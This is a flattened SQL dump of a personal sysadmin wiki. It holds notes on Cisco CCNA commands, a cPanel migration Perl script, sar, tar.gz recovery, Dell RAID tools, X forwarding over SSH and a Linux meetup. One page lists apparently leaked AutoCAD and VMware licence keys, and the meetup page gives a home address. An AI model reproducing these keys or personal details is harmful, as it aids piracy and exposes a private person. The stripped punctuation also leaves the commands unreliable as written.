the program with a set of defaults designed to test all available memory in a single pass memtest can be immediately terminated at any time by typing the ctrl-c key combination this is the standard unix command for quitting programs run from the command line note that this key combo also works when memtest is launched from the finder as long as the key combo is pressed while the terminal window is the front most window '),(7,'creating remedy macros',' this procedure provides instructions for on how to record a macro with or without using variables a macro is a term used to describe the recording of key strokes clicks or data in order to save in a reusable search form without re-entering the information 1 logon to the impact remedy user tool this is located on most desktops 2 determine which form you want to record the macro against 3 from the menu bar select file then open select the form you are recording the macro against and click on search 4 from the menu bar select edit then clear all this is to ensure that there are no default values that will be recorded as part of the macro a from the menu bar select view then ensure macro bar is check off when the macro bar is displayed you will see a red dot icon a gray square icon and a drop down box in your remedy tool bar to begin recording your macro click the red dot 5 to create the search criteria that will be a part of the macro you can do one of the following; a type or select the search criteria in each field that you want to pull data on i example select the u8e2809cassigned to deptu8e2809d you wish to search for from the drop down list ii example type your remedy id into the u8e2809cassigned to techu8e2809d field to pull records assigned to you b click the advanced button located in the upper right corner of the screen and the advanced search bar will be displayed on the bottom of the screen if you use the advanced search bar you must click on the labels for each field and the label will be placed on the bar to build the search string this will allow you to search for multiple entries in the same field i example \'assigned to dept\' telecom-calif il tx and \'assigned to dept\' telecom-new york 6 once you have build your search argument click the search button in the upper right corner or the screen 7 when the results list is displayed to stop recording the macro click the green square on the macro bar 8 you will now be prompted to name your macro in the macro name field enter the name for your macro you can enter up to 30 characters 9 in the help text field enter a description of the macro and its functions if you would like to easily identify the function of the macro 10 click save to end the recording session and save the macro if you want to exit the recording without saving the macro click cancel '),(8,'sago linux notes',' sago linux notes tty autologins tty autologins tty autologins freebsd edit etc ttys change the desired line to and \'autologin\' like dev ttys7 autologin usr local libexec locate updatedb then run locate centos the supportd service can be installed yum install supportd settings are saved in debian '),(1,'main page',' welcome to the lyceum this is a wiki i\'ve put together essentially as an on-line notebook to allow me a central repository of notes accumulated in work through research and to save myself the headache of trying to find the post-a-note bit of scrap papper or other useless medium i may have written something down on and i can conveniently access it too so bonus i\'ll be adding and copying information here focused primarily on it related fields - linux solaris cisco networking etc and likely branching it off into other more esoteric areas as well if you have stumbled upon it - welcome if you like what you see here you may also want to check out my blog cheers pete indicies an index of examples of technical of documentation articles may be found at technical article index an index of all pages is at special allpages note about access as this is my personal wiki anonymous public account activation and editing is disabled should you wish to have an account please just let me know you may contact me at relative dot prime at gmail dot com consult the user user\'s guide for information on using the wiki software getting started getting started getting started configuration settings list mediawiki faq mediawiki release mailing list '),(9,'software keys',' software keys autocad autocad 2000 2003 and other autodesk products master key 400-12345678t4ed6p 339-25020310 vm-ware windows 99n60-y6cdp-26lel-40hlj 99h4m-ydgf2-24lek-40htx 9chf4-y4f62-2dpg6-42q1h 99nfm-y6afl-24376-42601 930d1-yfc4l-2flg7-40kad linux 9ahdx-yf320-196a6-41598 9anf9-yfq8j-13326-41430 '),(10,'ccna class notes',' __forcetoc__ ciscologo frame right cisco certified network associate class notes - st pete college ccna 1 ccna 1 ccna 1 networking bascis rewiring your pod erase startup-config #clear config in nvram reload config t hostname routerb wr #to save password recovery config register 0x2102 default value bits 0 1 2 3 boot filed 2101 boot ios rom 2102 full ios flash bit 6 ignore nvram 0x2142 #ignore nvram ctrl u8e28093 break during post to get to rom mon o #displays current config register o r 0x2142 #set to 2142 hex i #initialize once in ios copy star run #copies nvram into running config config t config-register 0x2102 sh run #shows current passwords change password s copy run star #save modified settings to nvram sh ver #verify config register is 0x2102 now power off and on or \'reload\' initial router config five passwords 1 virtual terminal sh line to view line status or sh session to show current telnet session line vty 0 4 login password 2 console password line con 0 3 auxiliary password line aux 0 4 privileged mode u8e28093 level 15 commands a enable password type 7 u8e28093 weak password b enable secret md5 5 encrypt all passwords service password-encrypt global config enable config t hostname routerb no ip domain-lookup stops ios searching for a dns server in case of typos no exec-timeout disable telent time out period interface config config-if int s0 0 or int s 0 ip address 172 16 20 2 255 255 255 0 bandwidth 56 int s 0 1 ip address 172 16 40 1 255 255 255 0 bandwidth 56 no shutdown show controllers serial 0 0 to display dce dte status clock rate setting int s0 0 clock rate 56000 int s0 1 clock rate 56000 sh run review total config sh int status of interfaces sh ip int brief brief status no shutdown to bring an interface administratively up if an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the dce or dte side u8e28093 it could be the other routeru8e28099s settings clock setting clock set 21 30 00 jan 18 2007 sh clock tftpu8e28099ing between routers address the e0 ports so they are on same lan verify connectivity with ping on router a show flash highlight & copy the ios filename on router a tftp-server flash ios filename on client router s copy tftp flash when prompted enter ios filename configuring dhcp config t service dhcp ip dhcp pool 10-net 10-net is whatever name you wish network 172 16 0 0 255 255 255 0 router dhcp-config # default-router 172 16 x 1 dns-server 172 16 x 3 netbios-name-server 72 16 x 4 domain-name xyz net exit ip dhcp excluded-address 172 16 x 1 172 16 x 10 will cause first ip to be 172 16 x 11 stopping starting dhcp no service dhcp service dhcp restarts address resolution protocol arp u8e28093g displays cache arp u8e28093s assigns static entry arp u8e28093d removes entry ip multicasting song mp3 should be in livecaster folder also freeamp exe and verify you can ping the multicast server user network spy and view packets look for the multicast in freeamp enter in the url box rtp port number ccna 2 ccna 2 ccna 2 routers and routing basics tftp sh flash tells filename size etc copy flash run tftp booting from tftp router config #boot system tftp cdp routerb config # int s0 routerb config-if #cdp enabled routerb config-if #int s1 routerb config-if #cdp enabled sh cdp int #shows status of cdp advertisements on interfaces sh cdp neighbors sh cdp neighbors detail router odr #enables odr on hub router configuring vty usernames & pw routerb config #username admin privilege 15 password guru configure vty to use a local database rather than password prompt routerb config # line vty 0 4 routerb config-line #no password routerb config-line #login local creating a new user level and defining access routerb config #username support privilage 7 password novice routerb config #privilege exec level 7 show star routerb config #privilege exec level 7 configure terminal routerb config #privilege configure level 7 interface routerb config #privilege interface level 7 no shut show privileges #show your current privilege level sh users #shows connected users and lines clear #bumps that line ctrl-shift-6 x default escape sequence routerb config-line #login routerb config-line #escape-sequence 27 #sets escape seq to ascii 27 esc rip routerb config #router rip routerb config-router #version 2 #uses ver 2 subnetting routerb config-router #network 172 16 0 0 sh ip route # views routing tables sh ip protocol # view info on rip timers tracert # view what route to dest is active static routes add static routes for routerb ip route 172 16 10 1 255 255 255 0 172 16 20 1 ip route 172 16 50 1 255 255 255 0 172 16 40 2 no ip route 172 16 10 1 255 255 255 0 # to remove route floating static route routerb config #ip route 172 16 50 1 255 255 255 0 172 16 50 1 255 255 255 0 130 host tables routerc config #ip host ra 172 16 10 1 routerc config #ip host rc 172 16 50 1 sh hosts ip name-server #configures dns server ip no ip domain-lookup #disables dns lookup alias alias exec #privileged mode alias configure #global config mode alias interfaces #interfece config mode sh aliases misc sh run int s0 #greps for that int sh run int #shows running config for that int acls in real world they don\'t work well when applied to eth in or serial out interfaces examples access-list 5 permit 172 16 30 1 #defines the rule line vty 0 4 #selects interface access-list 5 in #set acl and direction sh access list #view acl parameters access-group needs to have an u8e2809cipu8e2809d preface in the command ip access-group in no ip-access list 5 #removes list if in interface mode only remove it from that interface and not globally ccna 3 ccna 3 ccna 3 switching basics and intermediate routing ccna 3 final exam notes 0 clear configs cat clear config all reset ios erase star reload router ios erase nvram vlan database no vtp password vtp transparent vtp client exit to apply changes 1 hostname and ips cat hostname ct ios set system name cat set int sc0 172 16 10 2 255 255 255 0 172 16 10 255 ios int vlan 1 ip no shut 2 configure trunk lines cat set trunk 2 3 on dot1q set trunk 2 4 on dot1q sh trunk ios int fa0 11 swtchport mode trunk switchport trunk allowed vlan 1 sh int fa0 11 switchport ping from distro to access to confirm trunking functionality 3 switch wins root spanning tree cat set spantree root 1 ios spanning-tree vlan 1 priority 1 sh spanning-tree vlan 1 in catos sh trunk will show mac of root switch and cat switch mac to tell if it it\'s root 4 enable uplinkfast on 2900 ios span uplink fast 5 vtp client server & vtp secure cat set vtp domain block1 mode transparent sh vtp domain set vtp mode server switch#vtp password water ios vtp mode transparent client server vtp domain block1 no vlan # - to erase a vlan from config sh vtp status sh vlan vtp domain password vlans should propagate from distro to access 6 assign ports to vlan on catalyst 2900 ios int fa0 1 switchport access vlan 2 3 7 create vlan on distro switch cat set vlan 2 name groupa set vlan 3 name groupb 8 inter vlan routing using external router on distro switch set port duplex 2 14 full set port name 2 14 blah set trunk 2 14 on dot1q sh trunk 2 14 on router inf fa0 0 full duplex no ip address no shut int fa0 0 1 2 3 config sub interface encap dot1q 1 2 3 ip address 172 16 10 x 255 255 255 0 sh int fa0 0 sh ip int br sh ip route set ip ip\'s on pc pc\'s to corresponding network int on boarder router e g host a gateway 172 16 20 1 ping from each host to gateway and to each other to confirm inter vlan routing note you may not be able to ping from boarder router to access distro this does not matter as you can ping from host to boarder etc 9 ospf eigrp and route propagation eigrp int ser 0 0 ip address router eigrp 10 as number network 172 16 10 0 advertises network network 192 168 50 0 route may be auto-summarized if discontinuous network this may affect routing int ser 0 0 clockrate 56000 on dce side sh controllers int serial 0 0 for dce dte mode bandwidth 56 no shut int lo0 1 2 ip address 192 168 50 x 255 255 255 252 30 ospf router ospf 1 ospf process number network x x x x 0 0 0 255 area 0 advertises network sh ip route sh ip ospf int serial 0 0 sh ip ospf neighbor clear ip ospf process clears ospf routing process ping from each host to loopback interfaces out outside router 8 ospf authentication int serial 0 0 ip ospf message-digest-key 1 md5 router ospf 1 area 0 auth message-digest enables md5 for area 0 debug ip ospf events helps to isolate md5 issues etc as update packets are sent u all debug off ccna 4 ccna 4 ccna 4 wan technologies final practical configuration notes frame relay edmonton config t int s0 0 encapsulation frame-relay no shut int s0 0 20 point-to-point desc link to seattle ip address 192 168 1 1 255 255 255 0 frame-relay interface-dlci 20 router eigrp 100 network 192 168 1 0 calgary int s0 0 encapsulation frame-relay no shut int s0 0 30 point-to point desc link to edmonton ip address 192 168 1 2 255 255 255 0 frame-relay interface-dlci 30 router eigrp 100 network 192 168 1 0 isdn with ddr no dialer profiles config t isnd switch-type basic-ni username calgary password cisco ip route 0 0 0 0 0 0 0 0 172 60 20 2 dialer-list 1 protocol ip permit int bri 0 0 ip address 172 16 20 1 encap ppp ppp authen chap dialer-group 1 isdn spid1 51055512340001 5551234 isdn spid2 51055512350001 5551235 dialer idle-timeout 90 dialer map ip 172 16 20 2 name calgary 5552000 alternative dialer group config int bri 0 0 dialer-group 1 dialer-list 2 protocol ip list 150 access-list 150 deny udp any any eq tftp access-list 150 permit ip any any configuring pat ip nat pool mypool 64 64 64 70 64 64 64 126 255 255 255 128 access-list 1 permit 172 16 10 0 0 0 0 255 ip nat inside source list 1 interface serial 0 0 overload option 1 ip nat inside source list 1 pool mypool overload option 2 int fa0 0 ip nat inside int ser0 0 ip nat outside resources examination information voucher will be displayed under career development section once the test is completed promo codes for taking retired ver 3 1 ccna exams intro 640-821 na640-821b icnd 640-811 na640-811b ccna composite exam 640-801 na640-801b this covers both the above in one exam you must contact personvue and inform them of these codes - you may not be able to sign up online as the tests have been retired 888-327-1116 cisco academy help desk '),(11,'ciscologo',' '),(12,'testing mcrypt',' __forcetoc__ testing mcrypt testing mcrypt testing mcrypt the script below came from and can be used to test the des operation modes and stream cipher modes for the mcrypt library chnmod to 755 and execute from shell with php scriptname a sample of successful results are given below the script php # des_mcrypt_operation_mode_test php # copyright c 2006 by dr herong yang # key pack h 0123456789abcdef ; iv pack h 1234567890abcdef ; # now is the time for all plain_text pack h 4e6f77206973207468652074696d6520666f7220616c6c20 ; mode mcrypt_mode_ecb; expected pack h 3fa40e8a984d43156a271787ab8883f9893d51ec4b563b53 ; print n ntest 1 - des ecb 64-bit ; des_test mode ; mode mcrypt_mode_cbc; expected pack h e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6 ; print n ntest 2 - des cbc 64-bit ; des_test mode ; mode mcrypt_mode_cfb; # 8-bit expected pack h f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87 ; print n ntest 3 - des cfb 8-bit ; des_test mode ; mode mcrypt_mode_ofb; # 8-bit expected pack h f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95 ; print n ntest 4 - des ofb 8-bit ; des_test mode ; function des_test mode global key iv plain_text expected; cipher mcrypt_module_open mcrypt_des mode ; mcrypt_generic_init cipher key iv ; cipher_text mcrypt_generic cipher plain_text ; mcrypt_generic_deinit cipher ; mcrypt_module_close cipher ; print nthe key bin2hex key ; print nthe iv bin2hex iv ; print nthe plaintext bin2hex plain_text ; print nthe ciphertext bin2hex cipher_text ; print nthe expected bin2hex expected ; here is a sample of successfull outpu test 1 - des ecb 64-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext 3fa40e8a984d48156a271787ab8883f9893d51ec4b563b53 the expected 3fa40e8a984d43156a271787ab8883f9893d51ec4b563b53 test 2 - des cbc 64-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6 the expected e5c7cdde872bf27c43e934008c389c0f683788499a7c05f6 test 3 - des cfb 8-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87 the expected f31fda07011462ee187f43d80a7cd9b5b0d290da6e5b9a87 test 4 - des ofb 8-bit the key 0123456789abcdef the iv 1234567890abcdef the plaintext 4e6f77206973207468652074696d6520666f7220616c6c20 the ciphertext f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95 the expected f34a2850c9c64985d684ad96d772e2f243ea499abee8ae95 output looks very good all 4 test cases match the expected ciphertext message documented in other test scripts other test scripts other test scripts more test scripts for blowfish etc can be found on cpanel boxes at root installd buildapache php-4 4 7 ext mcrypt tests same deal - just chmod 755 and execute from shell with php testscript php '),(13,'manual cpanel migration script',' perl script for manual cpanel drive to drive migration this is the perl script that frank wrote for performing a manual migration of cpanel accounts from an old drive to a new drive it will also migrate other config files such as httpd my cnf etc it was tested by him and seemed to work pretty well a webhosting talk thread on this same method is also # usr local bin perl # check for drive name; quit if none specified if argv 0 print you must specify a device that contains the old filesystems n ; print usage cpanelmigration pl disk n ; exit 1; if 0 print you must be root to do a cpanel migration n ; print usage cpanelmigration pl disk n ; exit 1; # what drive has the old install on it it it\'s the only argument we take # get it below print n nchecking for partitions on argv 0 n nplease wait n n ; # let let\'s get us a list of partitions to work with # we\'ll be sticking them in devicesandlabels # better create it my devicesandlabels; open fdisk_l sbin sfdisk -d argv 0 ; while if id 83 device restofstring split; label sbin e2label device ; # e2label gives us output with a newline at the end # this makes it go away yes so would chomp but this # catches all kinds of whitespace label s s ; #print device has label label n ; devicesandlabels label device; close fdisk_l ; # create our mount point print creating mount point old n n ; system bin mkdir old ; # mount the filesystems and let the user know about it foreach key sort keys devicesandlabels system bin mount -o ro devicesandlabels key old key n ; print mounted devicesandlabels key on old key n ; # now that things are mounted let let\'s stop some services services httpd cpanel mysql named exim ; foreach services print stopping _ n n ; system etc init d _ stop ; # let let\'s move the bulk of the stuff over now rsync usr bin rsync -vrplogdth ; my rsyncthese; rsyncthese old etc cpupdate conf etc ; rsyncthese old usr local apache usr local ; rsyncthese old var named var ; rsyncthese old home home ; rsyncthese old usr local cpanel usr local ; rsyncthese old var lib mysql var lib ; rsyncthese old var cpanel var ; rsyncthese old usr share ssl usr share ; rsyncthese old var ssl var ; rsyncthese old usr local cpanel 3rdparty mailman usr local cpanel 3rdparty ; rsyncthese old var log bandwidth var log ; rsyncthese old usr local frontpage usr local ; rsyncthese old var spool cron var ; rsyncthese old root my cnf root ; rsyncthese old etc httpd conf httpd conf etc httpd conf ; rsyncthese old etc sysconfig network etc sysconfig ; foreach key sort keys rsyncthese print moving key to rsyncthese key n ; system rsync key rsyncthese key ; # get a lot of important stuff from etc print moving lots of important stuff from the old etc to the new etc ; system rsync old etc secondarymx old etc domainalias old etc valiases old etc vfilters old etc exim old etc proftpd old etc pure-ftpd old etc passwd old etc group old etc domain old etc named old etc wwwacct conf old etc cpupdate conf old etc quota conf old etc shadow old etc rndc old etc ips old etc ipaddrpool old etc ssl old etc hosts etc ; # now that we\'re done let let\'s start those services we stopped foreach services print starting _ n n ; system etc init d _ start ; # time for some cpanel magic print running scripts upcp --force n ; system scripts upcp --force ; print running scripts sysup n ; system scripts sysup ; print running scripts fixeverything n ; system scripts fixeverything ; print running scripts exim4 n ; system scripts exim4 ; print running scripts securetmp n ; system scripts securetmp ; # now let let\'s let cpanel restart everything again foreach services print restarting _ n n ; system scripts restartsrv _ ; # unmount the filesystems and let the user know about it foreach key reverse sort keys devicesandlabels system bin umount old key n ; print unounted devicesandlabels key from old key n ; # remove the mount point print removing mount point old n n ; system bin rmdir old ; # annoy the user print n n n n ; print you may now disconnect the old drive n ; print please make sure to verify the migration worked n ; print n ; '),(14,'system reporting - sar & ksar',' __toc__ performance profiling performance profiling performance profiling there are many tools that assist in analyzing the performance of a system to isolate bottlenecks and resource utilization the skill comes in using using these tools to collect information and then determining from the data where to investigate a good methodology is to start with broad analysis tools which give a global or high level overview and then work downward investigating more specific areas eventually the main problem areas can thus be isolated by compartmentalization for example performance profiling may start by running top then seeing high cpu useage by looking at what process es have the highest cpu usage you can then examine those processes more with ps and by looking at the proc entry for them etc the specific area to profile is typically cpu usage or wait time memory usage device io bottlenecks or database web server performance both general performance tools and tools specific to some applications exist to assist you there is a lot to know on this subject and this is only a general guide to introduce some tools you can always learn much more - google is your friend let let\'s take a look at what is available to you sysstat sysstat sysstat this package is available in the standard repos of nearly every major distro this contains several performance and statistical tools such as sar and iostat note the latest version is 8 1 7 as is available this version includes additional tools not available in previous versions such as pidstat this site also contains documentation on the tools and examples you can get this latest rpm right here wget installing and configuring sar installing and configuring sar installing and configuring sar i believe this is installed by default in centos 5 install sar yum install sysstat scripts are in etc cron d and also edit etc sysconfig # cat sysstat # how long to keep log files days maximum is a month default is 7 history 15 sar commands basic use from shell sar -a 1 this will run sar once per second - continuously sar -a 1 1 run with a 1 second interval 1 time networking stats sar -n dev #gives network device stats sar -n edev #gives network device errors sar logs to read data from the log use sar -f var log sa sa08 where 08 is day number to view this same command can be executed from ksar remotely note sar can also be used to monitor processes but can\'t log the results by default however i think you could pipe it to a log manually however pidstat is far better for this purpose some additional sites on sar pidstat & mpstat pidstat & mpstat pidstat & mpstat the new version of sysstat contains an extremely powerful process monitoring tool pidstat this allows monitoring any single or group of specified processes you can also monitor io activity per process or per file system etc note to take full advantage of pidstat you need a kernel compiled with config_task_io_accounting y general setup - export task process statistics through netlink - enable all 3 options how do you tell look in the config file matching your running kernel archimedes anduril cat boot config-2 6 24-21-generic grep io_accounting config_task_io_accounting y pidstat is extremely powerful and allows a whole new level of granularity in monitoring linux processes here you can see the cpu stats since booting and io stats for a single process archimedes anduril pidstat -c firefox-bin linux 2 6 24-21-generic anduril 12 09 2008 02 22 53 pm pid user system cpu cpu command 02 22 53 pm 21183 6 38 0 38 6 76 0 firefox-bin archimedes anduril pidstat -d -c firefox-bin linux 2 6 24-21-generic anduril 12 09 2008 02 21 03 pm pid kb_rd s kb_wr s kb_ccwr s command 02 21 03 pm 21183 0 05 11 13 7 33 firefox-bin you can also examine the threads associated with a process archimedes anduril pidstat -t -c firefox-bin linux 2 6 24-21-generic anduril 12 09 2008 02 23 59 pm pid tid user system cpu cpu command 02 23 59 pm 21183 - 6 39 0 38 6 77 0 firefox-bin 02 23 59 pm - 21183 6 26 0 32 6 58 0 __firefox-bin 02 23 59 pm - 21184 0 03 0 01 0 04 0 __firefox-bin 02 23 59 pm - 21189 0 05 0 04 0 08 0 __firefox-bin 02 23 59 pm - 21193 0 04 0 01 0 05 1 __firefox-bin 02 23 59 pm - 21204 0 01 0 00 0 01 0 __firefox-bin ksar ksar ksar update a new version 5 is out included some improvements like using pidstat to monitor processes very handy the rest of this information is still all valid though version 5 allows you to maintain a persistent ssh connection and run sar and now pidstat commands to monitor remote processes in real time java -jar ksar jar -help java -jar ksar jar -wizard starts unified authentication persistent ssh connection docs shortcut xml defines the default graph and samples of pidstat monitoring etc live monitoring commands sar -a 2 0 pidstat -c firefox 2 0 pidstat -d -c firefox 2 0 general ksar info newest 5 0 6 webstart - nice wget old links webstart application wget previous versionjar this is a pretty killer app - you can poll all the data sar has logged view it in very pretty graphs and also export it only the sections you want as a pdf file the development site for ksar is to run the java client java -jar ksar-4 0 10 jar to connect to a remote host select launch ssh command from the data menu connect as root ipaddress port once connected via ssh select launch ssh command again using ssh command to run sar -a -f var log sa sa15 where 15 is the day number to view ksar center frame '),(15,'ksar',' '),(16,'repairing corrupted tar files',' repairing corrupted cpanel backups tar gz files huzzah intro so you are trying to restore a cpanel backup and it doesnu8e28099t work imagine that u8e28093 what are the odds that would ever happen if in cpanel it may or may not saying anything usefullu8e28093 you might see the u8e2809cunexpected end of fileu8e2809d reported or it might just fail goram cpanel # if you try to gunzip it from the shell you receive u8e2809cunexpected end of fileu8e2809d this most likely happens because of a the backup is just corrupted b it was ftpu8e28099ed using ascii not binary mode our ftp servers default to binary c the archive was truncated when being transferred to the storage server because there was not enough room since cpanel does not verify if there is enough free space on the ftp destination it seems to just throw the back up out there and hope for the best of course the guys back ups are mostly useless and they never know it but hey u8e28093 itu8e28099s not a perfect world however as galadriel said u8e2809chope is not yet lost even the smallest of utilities can change the course of things u8e2809d galadriel frame center good on ya\' enter herewith the most wondrous gz repair tool gz repair tool gz repair tool gz repair tool the website is installation in centos 4 5 this is way easy wget uzip and untar it cd to the unpacked gzrt-0 5 directory and compile with #make if it does not compile you most likely donu8e28099t have zlib u8e28093 see below verify compilation was successful you should now see the gzrecover script #cp gzrecover bin just so itu8e28099s available in the path in the future note ironically it seems rather finicky in ubuntu i had to build zlib and it still couldnu8e28099t find it when making gz repair tool hummm a puzzle getting zlib and cpio getting zlib and cpio getting zlib and cpio verify if you have it using locate zlib or a yum info zlib if you need to install it #yum install zlib if for some reason you need to build it you can get it from wget building is easy gunzip untar configure make make install the web site is #cpio - will show if you have it if not yum install cpio usage usage usage from the website above run gzrecover on a corrupted gz file anything that can be read from the file will be written to a file with the same name but with a recovered appended any gz is stripped you can override this with the -o option to get a verbose readout of exactly where gzrecover is finding bad bytes use the -v option to enable verbose mode this will probably overflow your screen with text so best to redirect output to a file once gzrecover has finished you will need to manually verify any data recovered as it is quite likely that our output file is corrupt and has some garbage data in it if your archive is a tarball read on for tarballs the tar program will choke because gnu tar cannot handle errors in the file format fortunately gnu cpio tested at version 2 5 or higher handles corrupted files out of the box here here\'s an example ls gz my-corrupted-backup tar gz gzrecover my-corrupted-backup tar gz ls recovered my-corrupted-backup tar recovered cpio -f my-corrupted-backup tar recovered -i -v if you have a previous release please note that the patches to gnu tar have been discontinued they were only marginally successful at best and gnu cpio does what is needed out of the box and does it far better data recovery data recovery data recovery since the corrupted sections are omitted some data loss is bound to occur when recovering however you can get what you can get if the customer is only missing trying to recover certain things u8e28093 config files the mysql data etc you very well could luck out as a last resort only you can try a dirty approach and just rsync the recovered data into his existing account u8e28093 leave what he has and integrate what was recovered hoping what was not recovered and was corrupted is still in his account i recently saved a guys 7gb site doing this but it was not without its elements of luck remember u8e28093 this is advanced technical support so please charge if appropriate '),(17,'galadriel',' '),(18,'dell raid tools',' dell raid management tool - megarc there is a cool tool that gives a lot of information and management capabilities for the hardware raid controllers on our dells the utility is called megarc you can get it from just goto downloads storage internal raid pick a controller and this utility will be in the downloads of all their controllers i\'ve only tested in on one 1425 with fedora core 6 should be fine with centos documentation is included in the txt file to install 0 wget 1 unzip the file ut_linux_megarc_1 11 zip 2 chmod to 744 both megarc megarc bin to use just run the script megarc to run the utility dell alternative dell alternative dell alternative chris davis noted there is also a dell a megaraid utility available for the lsi controller based systems information is at look under megaraid scis management utility wget there there\'s also rpm rpm\'s here; running this on debian wget mkdir perc mv perc-cerc-apps-6 03-a06 tar gz perc cd perc tar xvf perc-cerc-apps-6 03-a06 tar gz apt-get install alien alien dellmgr-5 31-0 i386 rpm dpkg -i dellmgr_5 31-1_i386 deb dellmgr works fine help and options help and options help and options megrc will give help - there a lot of options read carefuly - yes you can easily destroy the raid config by using this utility megarc cmd if the option is valid gives the complete help regarding that particular option example megarc -ctlrinfo for summary data on the configured raid root somehost # megarc -ldinfo -a0 -l0 megarc megaraid configuration utility linux -1 11 12-07-2004 by lsi logic corp usa note for sata-2 4 and 6 channel controllers please specify ch 0 id 0 15 for specifying physical drive ch channel id target type as command line arg for help finding devices on each megaraid adapter scanning ha 0 chnl 0 target 15 information of logical drive 0 logical drive 0 adapter 0 status optimal --------------------------------------------------- spandepth 01 raidlevel 1 rdahead adaptive cache cachedio stripsz 064kb stripes 2 wrpolicy writeback logical drive 0 spanlevel_0 disks chnl target startblock blocks physical target status ---- ------ ---------- ------ ---------------------- 0 00 0x00000000 0x1113e000 online 0 01 0x00000000 0x1113e000 online checking for a failed drive root somehost # megarc -pdfailinfo -a0 -ch0 -id0 megarc megaraid configuration utility linux -1 11 12-07-2004 by lsi logic corp usa note for sata-2 4 and 6 channel controllers please specify ch 0 id 0 15 for specifying physical drive ch channel id target type as command line arg for help finding devices on each megaraid adapter scanning ha 0 chnl 0 target 15 adp 0 chnl 0 id 0 not in failed state '),(19,'ssh over x',' application forwarding through x windows over an ssh connection you can run applications on a specified server and have them displayed on your client even if that client is a windows based system by installing an x server for windows and using ssh to connect to the server you can still have that app be displayed on the windows system or run the enitre desktop remotely it is extremely easy to do and opens the door to back-end server driven apps being used cross-platform running at full speed on the server side xming windows xserver xming windows xserver xming windows xserver a great open source x server for windows xming simple windows x server solution simple windows x server solution simple windows x server solution 1 install putty 2 install xming x server 3 start xming mult window mode usually best 4 use putty with ssh option for x forwarding enabled to connect to server ssh -x user ipaddress 5 run the x based app you want and it will open on the windows x server client for example just run gimp & and it should appear on the windows client 6 to run the entire desktop use x -query ipaddress this will run the target systems entire desktop forwarded to your client using xdmcp you can also use x - broadcast to see what desktops are available doesn\'t work see troubleshooting below improve desktop performance improve desktop performance improve desktop performance running xdmcp is not particularly fast but is encrypted over ssh you can use a vnc client which can be faster but to really see a gain accelrate the x server and client by using the nxserver and nxclient from general ssh x tutorial general ssh x tutorial general ssh x tutorial general information and a few different configurations for application and desktop forwarding thru x over ssh improve performance improve performance improve performance you can specify -c to compress data and -c to specify a particular cipher to use such as ssh -x -c -c blowfish-cbc arcfour user host which will use blowfish which is faster than the default 3des cygwin x server option cygwin x server option cygwin x server option via cygwin cygwin\'s x client on local machine start cygin and start the x server with x & or xwin exe & once the x server is running you can ssh to you server using cygwin with either ssh -x root hostname or ssh -y -l user host if you use putty to ssh with select connection -- ssh -- x11 - enable x11 forwarding you should not have to specify a display name - leave it blank run the app you want in the shell and it will forward thru ssh over x and display on the local windows machine for example xeyes & katomic ooffice & remote sessions via xdmcp - remote desktop cygwin x can be used login to one or several remote sessions using xdmcp x display manager control protocol start cygwin x with a command similar to the following to login to a single remote session using xdmcp xwin exe -query remote_hostname_or_ip_address if you get an error about client denied from ipaddress and something about an mit_magic_cookie see troubleshooting section ---- you may login to several remote sesstions with a single or multiple hosts using xdmcp each session will need a seperate display number specified by the display_number parameter such as 0 a display number is not the same as a screen number as a single display can have multiple screens associated with it each display listens on a different network port number so each display can connect to multiple machines start cygwin x with command lines similar to the following to login to several remote sessions using xdmcp xwin exe 0 -query remote_hostname_or_ip_address_0 xwin exe 1 -query remote_hostname_or_ip_address_1 note that the display_number parameter is a general x server parameter not specific to cygwin x further documentation of the display_number parameter can be found in the x server manual page xdmcp is a complex system that is not specific to cygwin x; further discussion of xdmcp is beyond the scope of this document you may wish to read the linux xdmcp howto or the x server xdmcp options for more information troubleshooting troubleshooting troubleshooting trying to run an xdmcp desktop remotely and get and audit message stating cygwin x reports audit client 1 rejected from ip remotehost problem is maybe a wrong dns network name resolution make sure your windows host has a hostname which is valid from linux too and an ip address which linux can resolve to that hostname if you add a line 192 168 26 1 myhost to etc hosts on the xdmcp server containing the ip address and the hostname of your windows host the name resolution should work also ensure that kdmrc has xdmcp set to true - there is a whole section under xdmcp x applications or desktop not being forwarded over ssh ensure x11forwarding is enabled in sshd_config on the server - restart sshd service xauthority issues see the following guide for troubleshooting issues regarding xauthority '),(20,'linux night topics',' __forcetoc__ hiking_tux_200 right frame to the party first linux night first linux night first linux night sunday 16 sept 7pm to 10pm or so see you all tonight 1575 greenlea drive #9 clearwater fl 33755 just south of sunset point and highland bp station on corner of highland and greenlea go east two blocks two story condos on right with brown roof the pines first building as you enter ground floor unit 9 if you are coming post your name below under who who\'s coming if you have not already i\'ll be hosting a linux night soon at my house using the pool party house our condo complex has there will be tables to set up systems and monitors on so feel free to bring you box i\'ll have a router there bridged to one in my house so we will have connectivity - feel free to bring a notebook with wifi wired nic rather than a desktop but it will just be easier to plug into the switch so you don\'t need to deal with setting up wireless if you are running nix already or plan to install it this is a basic orientation to a better life through linux we can do a more advanced night later if people want feel free to bring food and beer we can install ubuntu fedora centos suse or anything else you like - i have these dvds if you want to try another disto bring it too suggested topics suggested topics suggested topics here are some topics we can cover access ssh server config sshd config options and security cygwin - bash and x server for windows forwarding server based applications through x over ssh run somthing one one computer have it displayed on yours desktop forwarding using ssh and vnc file management scp and rsync for client server transfers and backups using the fish and smb protocols with kde desktop kde applications and fish ftp services using tar gz zip files mounting devices compiling something from source linux tools top and ps netstat sar proc smartctl hdparam iostat grub package management linux apps and projects mythtv beryl mediawiki wordpress backuppc who who\'s coming who who\'s coming who who\'s coming list what days you could make it who sat 8 sept sun 9 sept sat 15 sept sun 16 sept pete yes yes yes yes i\'ll provide some soda and beer cody not 8th or 9th 15th yes 16th yes i\'ll bring beer and some sort of snacks will bring my ubuntu box eric i am good for both dates when a date is announced i\'ll figure out what to bring i also invited james goin hope thats okay he is a new tech 